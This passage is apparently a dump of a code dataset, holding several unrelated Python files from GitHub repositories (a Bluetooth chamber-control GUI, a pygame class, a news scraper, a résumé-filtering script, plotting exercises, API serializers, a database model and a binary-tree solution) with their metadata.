"wx.OK", "line_number": 151, "usage_type": "attribute"}, {"api_name": "wx.CANCEL", "line_number": 151, "usage_type": "attribute"}, {"api_name": "wx.ID_OK", "line_number": 152, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 166, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 167, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 168, "usage_type": "call"}, {"api_name": "wx.CallLater", "line_number": 173, "usage_type": "call"}, {"api_name": "wx.CallLater", "line_number": 174, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 187, "usage_type": "call"}, {"api_name": "asyncio.Event", "line_number": 196, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 197, "usage_type": "call"}, {"api_name": "re.split", "line_number": 201, "usage_type": "call"}, {"api_name": "re.split", "line_number": 208, "usage_type": "call"}, {"api_name": "bleak.get_platform_scanner_backend_type", "line_number": 220, "usage_type": "call"}, {"api_name": "bleak.backends.bluezdbus.scanner.BlueZScannerArgs", "line_number": 229, "usage_type": "call"}, {"api_name": "bleak.backends.bluezdbus.advertisement_monitor.OrPattern", "line_number": 231, "usage_type": "call"}, {"api_name": "bleak.assigned_numbers.AdvertisementDataType.FLAGS", "line_number": 231, "usage_type": "attribute"}, {"api_name": "bleak.assigned_numbers.AdvertisementDataType", "line_number": 231, "usage_type": "name"}, {"api_name": "bleak.backends.bluezdbus.advertisement_monitor.OrPattern", "line_number": 232, "usage_type": "call"}, {"api_name": "bleak.assigned_numbers.AdvertisementDataType.FLAGS", "line_number": 232, "usage_type": "attribute"}, {"api_name": "bleak.assigned_numbers.AdvertisementDataType", "line_number": 232, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 237, "usage_type": "call"}, {"api_name": "bleak.BleakScanner", "line_number": 244, "usage_type": "call"}, {"api_name": "functools.partial", "line_number": 245, "usage_type": "call"}, {"api_name": "bleak.BleakError", "line_number": 249, "usage_type": "name"}, {"api_name": "logging.critical", "line_number": 250, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 257, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 261, "usage_type": "call"}]} +{"seq_id": "42522190806", "text": "import asyncio\nimport os\nfrom PyQt5.QtCore import QThread\nfrom PyQt5.QtWidgets import QMessageBox\n\nimport Functionality\nfrom matlibplot import Ui_Matlibplot\n\n\n# inheriting Matlibplot\n\n\nclass lineGraph(Ui_Matlibplot):\n def __init__(self, parent=None, parent1=None, ):\n super(lineGraph, self).__init__(parent, parent1)\n\n self.features = Functionality.functionality()\n # Creating file to save data\n self.features.createFile()\n loop = asyncio.get_event_loop()\n # Connecting Device to program\n loop.run_until_complete(self.features.connectingDevice(self.client))\n loop1 = asyncio.get_event_loop()\n # Sending date and time to reset rtc\n loop1.run_until_complete(self.features.sendData(self.client, self.features.currentTimeDate()))\n # Run control panel functionality in a thread to avoid crush\n self.runInThread()\n # All the button and slider function\n self.toggleButton.valueChanged.connect(self.toggleButtonSlider)\n self.Timer.valueChanged.connect(self.sendDelay)\n self.SavedFileButton.clicked.connect(self.viewSavedFile)\n self.StopDLButton.setCheckable(True)\n self.StopDLButton.clicked.connect(self.stopData)\n\n # Show message on view save data\n\n # Function for stop logging data\n def stopData(self):\n # Toggling of Stop and start data log function\n if self.StopDLButton.isChecked():\n self.StopDLButton.setText(\"Start Logging\")\n loop = asyncio.get_event_loop()\n loop.run_until_complete(self.features.disconnect(self.client))\n else:\n self.StopDLButton.setText(\"Stop Logging\")\n loop = asyncio.get_event_loop()\n loop.run_until_complete(self.features.connectingDevice(self.client))\n\n # Function view saved files\n def viewSavedFile(self):\n loop = asyncio.get_event_loop()\n DeviceConnected = loop.run_until_complete(self.features.deviceConnectionStatus(self.client))\n if DeviceConnected:\n self.features.showMessage(icons=QMessageBox.Warning, title=\"Stop\",\n message=\"Stop data logging before viewing saved file(s)\")\n else:\n # Default path\n path = os.getcwd()\n # Data folder path path\n NewPath = path + '\\\\data'\n path = os.path.realpath(NewPath)\n os.startfile(path)\n\n # Function to start threading\n def runInThread(self):\n self.run = thread(self.client, self.label_10)\n self.run.start()\n\n # Toggle button functionality\n def toggleButtonSlider(self, value):\n\n self.state = value\n if self.state == 1:\n self.changeStateToLight()\n try:\n Data = \"closed\"\n dataArray = bytearray(Data, 'utf-8')\n loop = asyncio.get_event_loop()\n loop.run_until_complete(self.features.sendData(self.client, dataArray))\n except Exception:\n pass\n\n else:\n try:\n Data = \"open\"\n dataArray = bytearray(Data, 'utf-8')\n loop = asyncio.get_event_loop()\n loop.run_until_complete(self.features.sendData(self.client, dataArray))\n self.changeStateToDark()\n except Exception:\n pass\n\n # Changing toggle button & frame color\n def changeStateToDark(self):\n self.toggleButton.setStyleSheet(\"QSlider::groove:horizontal {\\n\"\n \" width: 50px;\\n\"\n \" border-radius:10px;\\n\"\n \" height: 20px; /* the groove expands to the size of the slider by default. by giving it a height, it has a fixed size */\\n\"\n \" background:#677590;\\n\"\n \" margin: 0px 0px;\\n\"\n \"\\n\"\n \"}\\n\"\n \"\\n\"\n \"QSlider::handle:horizontal {\\n\"\n \" width:20px;\\n\"\n \" height: 20px;\\n\"\n \" border-radius: 10px;\\n\"\n \" background: #2E3440;\\n\"\n \" margin: 0px 4px; \\n\"\n \" /* expand outside the groove */\\n\"\n \"}\\n\"\n \"\")\n self.frame_2.setStyleSheet(\n \" background: #677590;\"\n \"\\n\"\n \"border-radius:10px;\")\n\n def changeStateToLight(self):\n self.toggleButton.setStyleSheet(\"QSlider::groove:horizontal {\\n\"\n \" width: 50px;\\n\"\n \" border-radius:10px;\\n\"\n \" height: 20px; /* the groove expands to the size of the slider by default. by giving it a height, it has a fixed size */\\n\"\n \" background:#C0C0C0;\\n\"\n \" margin: 0px 0px;\\n\"\n \"\\n\"\n \"}\\n\"\n \"\\n\"\n \"QSlider::handle:horizontal {\\n\"\n \" width:20px;\\n\"\n \" height: 20px;\\n\"\n \" border-radius: 10px;\\n\"\n \" background: #2E3440;\\n\"\n \" margin: 0px 4px; \\n\"\n \" /* expand outside the groove */\\n\"\n \"}\\n\"\n \"\")\n self.frame_2.setStyleSheet(\n \" background: #C0C0C0;\"\n \"\\n\"\n \"border-radius:10px;\")\n\n # Sending delay from python to esp\n def sendDelay(self, delayVal):\n try:\n print(self.widget.interval)\n self.widget.interval = delayVal\n self.Delay = delayVal\n delayData = f\"{self.Delay}\"\n dataArray = bytearray(delayData, 'utf-8')\n loop = asyncio.get_event_loop()\n loop.run_until_complete(self.features.sendData(self.client, dataArray))\n except Exception:\n pass\n\n\nclass thread(QThread):\n def __init__(self, address, label):\n super(thread, self).__init__()\n self.client = address\n self.label10 = label\n\n def run(self):\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n\n while True:\n try:\n self.fromFunctionality = Functionality.functionality()\n loop.run_until_complete(self.fromFunctionality.receiveData(self.client))\n # Setting current chamber status\n print(\"in thread\")\n if self.fromFunctionality.currentStatus == 0:\n\n self.label10.setText(\"Chamber status: Close\")\n # ToDo(important): this two should be uncommented before release\n # self.fromFunctionality.saveData()\n # self.fromFunctionality.saveDataArray.clear()\n else:\n self.label10.setText(\"Chamber status: Open\")\n except Exception:\n pass\n", "repo_name": "Emadul-Hasan/Soil-Respiration-chamber-Desktop", "sub_path": "graphs.py", "file_name": "graphs.py", "file_ext": "py", "file_size_in_byte": 7622, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "matlibplot.Ui_Matlibplot", "line_number": 13, "usage_type": "name"}, {"api_name": "Functionality.functionality", "line_number": 17, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 20, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 23, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 42, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 46, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 51, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QMessageBox.Warning", "line_number": 54, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMessageBox", "line_number": 54, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.startfile", "line_number": 62, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 78, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 87, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 150, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QThread", "line_number": 156, "usage_type": "name"}, {"api_name": "asyncio.new_event_loop", "line_number": 163, "usage_type": "call"}, {"api_name": "asyncio.set_event_loop", "line_number": 164, "usage_type": "call"}, {"api_name": "Functionality.functionality", "line_number": 168, "usage_type": "call"}]} +{"seq_id": "35943303420", "text": "import pygame\r\nfrom player import Player\r\nfrom enemy import Enemy\r\n\r\nclass Game():\r\n def __init__(self):\r\n\r\n self.isPlaying = False\r\n self.allPlayers = pygame.sprite.Group()\r\n self.player = Player(self)\r\n self.pressed = {}\r\n self.allPlayers.add(self.player)\r\n self.allEnemies = pygame.sprite.Group()\r\n self.SpawnEnemy()\r\n\r\n def Start(self):\r\n self.isPlaying = True\r\n self.SpawnEnemy()\r\n\r\n def GameOver(self):\r\n self.allEnemies = pygame.sprite.Group()\r\n self.player.health = self.player.maxHealth\r\n self.isPlaying = False\r\n\r\n def Update(self, screen):\r\n\r\n screen.blit(self.player.image, (self.player.rect))\r\n\r\n self.player.UpdateHealthBar(screen)\r\n\r\n for projectile in self.player.allProjectiles:\r\n projectile.Move()\r\n\r\n for enemy in self.allEnemies:\r\n enemy.Falling()\r\n enemy.UpdateHealthBar(screen)\r\n\r\n self.player.allProjectiles.draw(screen)\r\n\r\n self.allEnemies.draw(screen)\r\n\r\n def CheckCollision(self, sprite, group):\r\n return pygame.sprite.spritecollide(sprite, group, False, pygame.sprite.collide_mask)\r\n\r\n def SpawnEnemy(self):\r\n enemy = Enemy(self)\r\n self.allEnemies.add(enemy)\r\n", "repo_name": "ErwannLesech/Pygame-2D", "sub_path": "game.py", "file_name": "game.py", "file_ext": "py", "file_size_in_byte": 1285, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pygame.sprite.Group", "line_number": 9, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 9, "usage_type": "attribute"}, {"api_name": "player.Player", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.sprite.Group", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.sprite.Group", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 21, "usage_type": "attribute"}, {"api_name": "enemy.Falling", "line_number": 35, "usage_type": "call"}, {"api_name": "enemy.UpdateHealthBar", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.sprite.spritecollide", "line_number": 43, "usage_type": "call"}, {"api_name": "pygame.sprite", "line_number": 43, "usage_type": "attribute"}, {"api_name": "enemy.Enemy", "line_number": 46, "usage_type": "call"}]} +{"seq_id": "38983145994", "text": "from bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport csv\nimport pandas as pd\narticle_number1 = 19\narticle_number2 = 1\nlink_list = []\n\ndata = pd.read_csv('training_dataset.csv')\n\ntitle_check = data['title'].tolist()\ndef check_titles(current_title):\n for x in title_check:\n if current_title == x:\n return True \n return False \n\nwith urlopen(\"https://www.pbs.org/newshour/latest/\") as fp:\n soup = BeautifulSoup(fp, \"html.parser\")\n for article in soup.find_all(\"a\",{\"class\":\"card-timeline__title\"}):\n link_list.append(article.get('href','/')) \n\nnumber_tmp = 0\nfor links in link_list:\n write_article_row = []\n article_body_text = \"\"\n number_tmp += 1\n print(number_tmp)\n \n with urlopen(link_list[number_tmp]) as fp2:\n soup_too = BeautifulSoup(fp2, \"html.parser\")\n article_title_list = soup_too.find_all('h1',class_='post__title')\n article_body_list = soup_too.find_all('div',class_='body-text')\n\n for article in article_title_list:\n title = article.get_text()\n if check_titles(title) == False:\n for articles in article_body_list:\n article_body_tmp = articles.find_all('p')\n for x in article_body_tmp:\n article_body_text = article_body_text + x.get_text()\n\n write_article_row.append(article.get_text())\n write_article_row.append(article_body_text)\n\n with open('training_dataset.csv', 'a', newline='') as a:\n writer = csv.writer(a)\n writer.writerow(write_article_row) \n else:\n break\n", "repo_name": "labas02/web-scraping", "sub_path": "pbs-scraper.py", "file_name": "pbs-scraper.py", "file_ext": "py", "file_size_in_byte": 1681, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 18, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 30, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 31, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 47, "usage_type": "call"}]} +{"seq_id": "71586441884", "text": "import os\nimport docx2txt\nimport PyPDF2\n\n# Solicitar los valores de los parámetros al usuario\naños_experiencia = input(\"Ingrese años de experiencia: \")\ntitulo_grado = input(\"Ingrese título de grado: \")\nmaestria = input(\"Ingrese maestría: \")\ndoctorado = input(\"Ingrese doctorado: \")\nexperiencia_proyectos = input(\"Ingrese experiencia en proyectos: \")\ncargos = input(\"Ingrese cargos: \")\npalabras_clave = input(\"Ingrese palabras clave separadas por coma: \").split(\",\")\n\n# Carpeta de entrada y salida\ncarpeta_entrada = r'C:\\\\Users\\\\Walter Montiel\\\\OneDrive - COVENTRY S.A\\\\Escritorio\\\\Curriculums Vitae'\ncarpeta_salida = r'C:\\\\Users\\\\Walter Montiel\\\\OneDrive - COVENTRY S.A\\\\Escritorio\\\\Aprobados'\n# Crear carpeta de salida si no existe\nif not os.path.exists(carpeta_salida):\n os.makedirs(carpeta_salida)\n\ndef buscar_requisitos(texto):\n # Función para buscar requisitos en el texto\n texto = texto.lower()\n return (\n años_experiencia in texto\n and titulo_grado.lower() in texto\n and maestria.lower() in texto\n and doctorado.lower() in texto\n and experiencia_proyectos.lower() in texto\n and any(palabra.lower() in texto for palabra in palabras_clave)\n )\n\n# Recorrer los archivos en la carpeta de entrada\nfor archivo in os.listdir(carpeta_entrada):\n archivo_path = os.path.join(carpeta_entrada, archivo)\n \n # Procesar archivos Word\n if archivo.endswith(\".docx\"):\n texto = docx2txt.process(archivo_path)\n if buscar_requisitos(texto):\n # Guardar el archivo en la carpeta de salida\n destino = os.path.join(carpeta_salida, archivo)\n os.rename(archivo_path, destino)\n print(f\"Archivo {archivo} cumple con los requisitos y ha sido guardado.\")\n \n # Procesar archivos PDF\n elif archivo.endswith(\".pdf\"):\n with open(archivo_path, \"rb\") as pdf_file:\n pdf_reader = PyPDF2.PdfReader(pdf_file)\n texto = \"\"\n for page_num in pdf_reader.pages:\n texto += page_num.extract_text()\n if buscar_requisitos(texto):\n # Guardar el archivo en la carpeta de salida\n destino = os.path.join(carpeta_salida, archivo)\n os.rename(archivo_path, destino)\n print(f\"Archivo {archivo} cumple con los requisitos y ha sido guardado.\")\n \n else:\n print(f\"Archivo {archivo} no es compatible y ha sido omitido.\")\n\nprint(\"Proceso completado.\")\n", "repo_name": "wmontiel123/Form120toExcel", "sub_path": "Ordenar Curriculum.py", "file_name": "Ordenar Curriculum.py", "file_ext": "py", "file_size_in_byte": 2455, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "os.path.exists", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 19, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 34, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 35, "usage_type": "call"}, {"api_name": "os.path", "line_number": 35, "usage_type": "attribute"}, {"api_name": "docx2txt.process", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 43, "usage_type": "call"}, {"api_name": "PyPDF2.PdfReader", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 56, "usage_type": "call"}]} +{"seq_id": "74195992285", "text": "from rest_framework_json_api.serializers import *\nfrom .utils import custom_get_resource_type_from_instance, is_response_format_v2\n\n\nclass NotUpdateSerializerMixin(object):\n\n def __init__(self, *args, **kwargs):\n super(NotUpdateSerializerMixin, self).__init__(*args, **kwargs)\n if kwargs.get(\"context\", None):\n request = kwargs['context']['request']\n if request.method in [\"PUT\", \"PATCH\"]:\n if hasattr(self.Meta, \"no_update_fields\"):\n current_read_only_fields = getattr(self.Meta, \"read_only_fields\", [])\n self.Meta.read_only_fields = set(list(current_read_only_fields) + list(self.Meta.no_update_fields))\n\n\nclass ResourceIdentifierSerializer(object):\n def __init__(self, *args, **kwargs):\n super(ResourceIdentifierSerializer, self).__init__(*args, **kwargs)\n\n def to_representation(self, instance):\n if not ('request' in self.context and is_response_format_v2(self.context['request'])):\n represent_data = super(ResourceIdentifierSerializer, self).to_representation(instance)\n represent_data['object'] = custom_get_resource_type_from_instance(instance)\n return represent_data\n\n ret = OrderedDict()\n fields = self._readable_fields\n for field in fields:\n try:\n attribute = field.get_attribute(instance)\n except SkipField:\n continue\n\n if attribute is None:\n ret[field.field_name] = None\n else:\n field_data = field.to_representation(attribute)\n if hasattr(self.Meta, 'nested_fields') and field.field_name in self.Meta.nested_fields:\n field_data = {\n \"data\": field_data,\n \"meta\": {\n \"include\": [],\n \"custom\": []\n }\n }\n ret[field.field_name] = field_data\n represent_data = ret\n\n data = {\n 'object': custom_get_resource_type_from_instance(instance)\n }\n for item in represent_data.items():\n data[item[0]] = item[1]\n\n return data", "repo_name": "mobile-health/drf-custom-json-api", "sub_path": "drf_custom_json_api/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 2238, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "utils.is_response_format_v2", "line_number": 22, "usage_type": "call"}, {"api_name": "utils.custom_get_resource_type_from_instance", "line_number": 24, "usage_type": "call"}, {"api_name": "utils.custom_get_resource_type_from_instance", "line_number": 51, "usage_type": "call"}]} +{"seq_id": "43442878217", "text": "\"\"\"coding=utf-8.\"\"\"\n\nfrom datetime import datetime\nfrom email.policy import default\nimport uuid\nfrom sqlalchemy import Column, ForeignKey, Integer\nfrom sqlalchemy.sql.sqltypes import String, Boolean, DateTime\nfrom ...config.db import Base\nfrom sqlalchemy.orm import relationship\n\ndef generate_uuid():\n return str(uuid.uuid4())\n\nclass Location(Base):\n \"\"\"Location Class contains standard information for a Localities in WareHouse\"\"\"\n \n __tablename__ = \"location\"\n __table_args__ = {'schema' : 'stock'}\n \n id = Column(String, primary_key=True, default=generate_uuid)\n name = Column(String(250), unique=True,index=True, nullable=False)\n is_active = Column(Boolean, nullable=False, default=True)\n corridor = Column(Integer, nullable=True)\n floor = Column(Integer, nullable=True)\n observation = Column(String(500), nullable=True)\n created_by = Column(String(50), nullable=False)\n created_date = Column(DateTime, nullable=False, default=datetime.now())\n updated_by = Column(String(50), nullable=False)\n updated_date = Column(DateTime, nullable=False, default=datetime.now())\n warehouse_id = Column(String, ForeignKey(\"stock.warehouse.id\"))\n \n warehouse = relationship(\"Warehouse\", back_populates=\"locations\")\n # movements = relationship(\"Movement\")\n\n def dict(self):\n return {\n \"id\": self.id,\n \"name\": self.name,\n \"is_active\": self.is_active,\n \"corridor\": self.corridor,\n \"floor\": self.floor,\n \"observation\": self.observation,\n \"created_by\": self.created_by,\n \"created_date\": self.created_date,\n \"updated_by\": self.updated_by,\n \"updated_date\": self.updated_date,\n # \"movements\": self.movements,\n \"warehouse_id\": self.warehouse_id,\n \"warehouse_name\": self.warehouse.name\n }\n", "repo_name": "malaudiaz/crm-api", "sub_path": "crm_api/crm/models/stock/location.py", "file_name": "location.py", "file_ext": "py", "file_size_in_byte": 1884, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "uuid.uuid4", "line_number": 12, "usage_type": "call"}, {"api_name": "config.db.Base", "line_number": 14, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.String", "line_number": 20, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.String", "line_number": 21, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.Boolean", "line_number": 22, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 23, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 24, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.String", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.String", "line_number": 26, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 27, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.DateTime", "line_number": 27, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.String", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.DateTime", "line_number": 29, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 29, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.sql.sqltypes.String", "line_number": 30, "usage_type": "argument"}, {"api_name": "sqlalchemy.ForeignKey", "line_number": 30, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "74381630044", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n# # 1.Create a 2-D array and grab 3 numbers in the second column.\n# arr2d = [[2, 4, 6, 8], [10, 12, 14, 16]]\n# print(arr2d[1][:3])\n\n\n# # 2.Create a list called company_data, using a funtion the company needs to know the total average,the variance, and how spread out the data is.\n# company_data = np.arange(20,100,2)\n\n# def calculations(list):\n# spread = np.std(list)\n# variance = np.var(list)\n# average = np.average(list)\n \n# return(\"AVERAGE : \", average , \"V : \", variance , \"Spread out : \", spread)\n \n# print(calculations(company_data))\n\n\n# # 3.Create 2 arrays showing the x axis from 20 to 100 and the y axis from 120 to 200 (use matplotlib to visualize the array for x and y).\n# x = np.array(np.arange(20,100))\n# y = np.array(np.arange(120,200))\n\n# plt.scatter(x,y)\n# plt.show()\n\n\n\n# # 4.Create a 2-d array and multiple both columns then reshape the new array.\n# two = np.arange(0,12,1).reshape(2, 6)\n# print(\" OLD 2D ARRAY : \\n\" , two)\n# new = np.multiply(two[0], two[1]).reshape(3, 2)\n# print(\"\\n NEW ARRAY \\n\", new)\n\n\n# # 5.Create any sorting algorithm and show us the animation using matplotlib.\n# # BUBBLE SORT\n# arr = [90,-22,70,17,-8,-37,10,-2,55,9]\n# arr2 = np.arange(0,10,1)\n# print(arr2)\n\n# def sort():\n# n = len(arr)\n# for i in range(n):\n# for j in range(n-i-1):\n# plt.bar(arr2,arr)\n# plt.pause(0.01)\n# plt.clf()\n# if arr[j] > arr[j+1]:\n# arr[j+1],arr[j] = arr[j],arr[j+1] #Swapping\n\n# sort()\n# plt.show()\n\n#5.\narr3 = [90,22,70,17,8,37,10,2,55,9]\n\narr4 = np.arange(0,10,1)\n\ndef selectionsort(num):\n for i in range(len(num)):\n midindex = i\n for j in range(i+1,len(num)):\n plt.bar(arr4,arr3)\n plt.pause(0.05)\n plt.clf()\n if arr3[j] < arr3[midindex]:\n midindex = j\n arr3[i],arr3[midindex] = arr3[midindex],arr3[i]\n\nselectionsort(arr3)\nplt.show()\n", "repo_name": "code-maestro/CIT", "sub_path": "2022/MARCH2022/seventh.py", "file_name": "seventh.py", "file_ext": "py", "file_size_in_byte": 1998, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "numpy.arange", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.pause", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}]} +{"seq_id": "30532887707", "text": "import warnings\nimport functools\nimport time\n\n\ndef deprecated(func):\n \"\"\"This is a decorator which can be used to mark functions\n as deprecated. It will result in a warning being emitted\n when the function is used.\"\"\"\n @functools.wraps(func)\n def new_func(*args, **kwargs):\n # Turn off warnings filter\n warnings.simplefilter('always', DeprecationWarning)\n warnings.warn(f'Call to deprecated function {func.__name__}.',\n category=DeprecationWarning,\n stacklevel=2)\n # Reset warning filter\n warnings.simplefilter('default', DeprecationWarning)\n return func(*args, **kwargs)\n\n return new_func\n\n\ndef timeit(func):\n \"\"\"This is a decorator which can be used to measure function time spent.\"\"\"\n @functools.wraps(func)\n def new_func(*args, **kwargs):\n start_time = time.time()\n ret_val = func(*args, **kwargs)\n elapsed_time = time.time() - start_time\n print(f'function [{func.__name__}] finished in {int(elapsed_time * 1000)} ms')\n return ret_val\n\n return new_func\n", "repo_name": "Lakoc/Bachelor_thesis", "sub_path": "src/helpers/decorators.py", "file_name": "decorators.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "86", "api": [{"api_name": "warnings.simplefilter", "line_number": 13, "usage_type": "call"}, {"api_name": "warnings.warn", "line_number": 14, "usage_type": "call"}, {"api_name": "warnings.simplefilter", "line_number": 18, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 10, "usage_type": "call"}, {"api_name": "time.time", "line_number": 28, "usage_type": "call"}, {"api_name": "time.time", "line_number": 30, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 26, "usage_type": "call"}]} +{"seq_id": "42314111177", "text": "# -*- coding:utf-8 -*-\n\n\"\"\"\n给你一棵以 root 为根的二叉树和一个整数 target ，请你删除所有值为 target 的 叶子节点 。\n注意，一旦删除值为 target 的叶子节点，它的父节点就可能变成叶子节点；如果新叶子节点的值恰好也是 target ，那么这个节点也应该被删除。\n也就是说，你需要重复此过程直到不能继续删除。\n\n示例 1：\n输入：root = [1,2,3,2,null,2,4], target = 2\n输出：[1,null,3,null,4]\n解释：\n上面左边的图中，绿色节点为叶子节点，且它们的值与 target 相同（同为 2 ），它们会被删除，得到中间的图。\n有一个新的节点变成了叶子节点且它的值与 target 相同，所以将再次进行删除，从而得到最右边的图。\n\n示例 2：\n输入：root = [1,3,3,3,2], target = 3\n输出：[1,3,null,null,2]\n\n示例 3：\n输入：root = [1,2,null,2,null,2], target = 2\n输出：[1]\n解释：每一步都删除一个绿色的叶子节点（值为 2）。\n\n示例 4：\n输入：root = [1,1,1], target = 1\n输出：[]\n\n示例 5：\n输入：root = [1,2,3], target = 1\n输出：[1,2,3]\n\n提示：\n1 <= target <= 1000\n每一棵树最多有 3000 个节点。\n每一个节点值的范围是 [1, 1000] 。\n\n显然 bfs 搞不定这个删完叶子节点后还要去删变为叶子节点的父节点的问题\n可以使用 dfs, 如果某个节点是叶子节点就干掉这个节点, 删除这个点后它的父节点还在栈里，继续处理父节点...\n\n如何删掉一个节点:\n 将它的父节点对应的左/右儿子赋值为None就可以了\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nfrom utils.TreeNode import TreeNode, List2TN, TN2List\n\n\nclass Solution:\n def dfs(self, root: TreeNode, target: int):\n if not root:\n return\n l = root.left\n r = root.right\n self.dfs(l, target)\n self.dfs(r, target)\n # 放在递归的后面判断 root 的左右子树是否是 null, 是就将 root 的 left/right 赋值为空\n # 此时root还在函数栈里面, 处理完 root 的子节点之后就会处理root\n if (l and not l.left and not l.right and l.val == target):\n root.left = None\n if (r and not r.left and not 